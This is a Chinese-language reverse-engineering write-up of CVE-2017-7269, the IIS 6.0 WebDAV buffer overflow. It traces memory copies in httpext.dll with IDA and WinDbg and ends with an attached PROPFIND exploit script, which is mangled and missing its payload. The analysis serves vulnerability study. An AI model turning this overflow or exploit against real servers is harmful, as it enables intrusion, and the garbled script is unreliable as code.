关于cve-2017-7269这种已经把exp给我们的漏洞,对于我这样的新手来说虽然没有办法像网上的大神那样从各种角度深度剖析这个漏洞,但是我想通过IDA和Windbg动静结合的分析这个漏洞。 由于是纯粹逆向,一定存在比较片面的地方,还请大牛多多指教,共同进步。
0x01 简化EXP
由于我们只想分析这个EXP,于是简化掉功能部分,即shellcode部分。结果如下图
0x02 准备调试
环境:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0。
那么究竟是什么引起了这个漏洞呢?网上告诉我是这样Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞 那么这个函数在那里呢 在httpext.dll里。
0x03 开始调试
首先我们直接跑起来,看看会发生什么。 如下图
由于我们去掉了Shellcode,于是就达的效果。 我们把上面说到的dll拖到ida里,定位到该函数的位置,该函数位于 673e9451然后会发现这个函数长这样。
网上说这个函数调用了两次发生了溢出可是这个函数实际的作用就是调用了一个函数而已。虽然很懵逼,但是还是点击去吧。进入如下图的函数
果断按下F5看看情况。
发现明显的内存拷贝,那么这个exp就是平凡的栈溢出吗? 我们怀揣着这样的理想,在这个函数的结尾处(673f702c)下断点,跑起来。
并没有明显的溢出,于是这并不是简单的栈溢出。 好吧~既然如此,我们不如来做枯燥的工作 看看它的数据是怎么进行拷贝的。
首先我们看到了这个if
这个if直接控制是否跳转到内存拷贝
简单说明一下这个函数吧
[Asm] 纯文本查看 复制代码.text:673F6F99 mov edi, [ebp-450h] edi=0130f804 .text:673F6F9F lea eax, [esi+esi] eax=24h.text:673F6FA2 mov ecx, eax ecx=24h.text:673F6FA4 mov edx, ecx edx=24h.text:673F6FA6 shr ecx, 2 ecx=9h.text:673F6FA9 lea esi, [ebp-43Ch] esi=0130f35c.text:673F6FAF rep movsd /*循环次数由ecx控制 拷贝的目标地址由edi决定 数据来源于esi*/ .text:673F6FB1 mov ecx, edx .text:673F6FB3 mov edx, [ebp-22Ch].text:673F6FB9 and ecx, 3 //ecx=0 .text:673F6FBC rep movsb //由于ecx=0,所以不进行。.text:673F6FBE mov esi, [ebp-444h] // esi=0067cd38.text:673F6FC4 sub ebx, edx.text:673F6FC6 lea esi, [esi+edx*2] // esi=0067cd38.text:673F6FC9 mov edx, [ebp-450h] // edx=0130f804.text:673F6FCF lea edi, [eax+edx].text:673F6FD2 lea ecx, [ebx+ebx+2] ecx=130.text:673F6FD6 mov eax, ecx.text:673F6FD8 shr ecx, 2 //ecx= 4c.text:673F6FDB rep movsd //执行4c次.text:673F6FDD mov ecx, eax //ecx=24.text:673F6FDF and ecx, 3 //ecx=0.text:673F6FE2 rep movsb //不执行.text:673F6FE4 mov eax, [ebp-230h.text:673F6FEA lea eax, [edx+eax*2].text:673F6FED jmp short loc_673F6FFC //跳出拷贝。
第一次拷贝的数据范围edi 0130f804~0130f958
必须要说明一下的是,三次内存拷贝分别是在第二、第三、第五次调用该函数的时候进行内存拷贝。
余下还有两次,就不累述了。
关于余下两次。edi的值会有很大变化。给出全部变化的结果~
第一个rep出现在673f6faf //进行
第一次:edi=0130f804 完成后 0130f828
第二次:edi=680312c0 完成后680312e4
第三次:edi=0130fab4 完成后 0130fad8
第二个rep出现在673f6fbc //不进行
第三个rep出现在673f6fdb // 进行
第一次 edi =0130f828 完成后0130f958
第二次 edi=680312e4 完成后68031464
第三次 edi=0130fad8 完成后0130fc08
第四个rep 673f6fe2 // 不进行
既然如此,我当然就想知道为什么它会崩溃,在什么时候崩溃。
于是经过对函数大量的下断点,终于找到了会引发崩溃的函数。 该函数为ScStoragePathFromUrl内部的一个函数ScStripAndCheckHttpPrefix,这个函数代码如下。
一眼看出这个函数是虚函数。
于是很自然的联想到堆溢出
那么我们需要验证自己的想法,到底是怎么回事,于是我想说我要搞定edi 和esi的来源。为什么呢,因为edi地址跳跃很大,感觉是被认为控制。
在数据进行内存拷贝之前自然是没法控制,于是我们直接来到第二次内存拷贝。
找出根源是最紧要的,于是我得到了如下的步骤
[Asm] 纯文本查看 复制代码.text:673F6F99 mov edi, [ebp-450h]
推出
[Asm] 纯文本查看 复制代码.text:673F6C9B mov [ebp-450h], eax
推出
[Asm] 纯文本查看 复制代码.text:673F6C93 mov eax, [ebp+8]
[ebp+8]0130f7a0的参数如何变化?
由
[Asm] 纯文本查看 复制代码 673e9461 ff750c push dword ptr [ebp+0Ch] ss:0023:0130f7b8=0130f804入栈
此时esp=01307a4 ebp=0130f7ac
[ebp+c](0130f7b8)的参数又怎么变?
[Asm] 纯文本查看 复制代码.text:673F54DF push edi ; int
此时esp=0130f7b8 ebp=0130fc34,edi的值又是怎么变得?
此时ebp=0130fc34 esp=0130f7c0 ebp-328h = 0130f90c 在我们第一次拷贝数据的范围内。于是控制程序复制数据的位置 至此edi的值怎么回事解答完毕
那么esi呢? 由下图
第一次内存拷贝:
第二次内存拷贝:
第三次内存拷贝:
Esi只是充当一个传递值的~于是不用太关注
好了,至此我们已经知道了怎么把参数分配到指定位置去。并且得出这样的结论 第一次内存拷贝是为了第二次edi值的传递,进行了堆溢出。 那么第三次内存拷贝呢?
我们关注点放在会崩溃的函数,因为程序马上就会崩溃掉。
我们关注a1的值
Esi的值是a1 ,于是开始寻找esi的变化的根源。
于是
[Asm] 纯文本查看 复制代码.text:673F6CA4 mov esi, ecx
于是
[Asm] 纯文本查看 复制代码673f5799 8b4dec mov ecx,dword ptr [ebp-14h] ss:0023:0130fbbc=680312c0
至此,我们已经完成了我们的工作,于是程序就会这样
进入rop,并且绕过DEP
附上exp:
[Python] 纯文本查看 复制代码#------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous.#written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China #-----------Email: edwardz@foxmail.comimport socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('127.0.0.1',80)) pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'pay+='If: 'pay+=' (Not ) \r\n\r\n'print paysock.send(pay) data = sock.recv(80960) print data sock.close
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |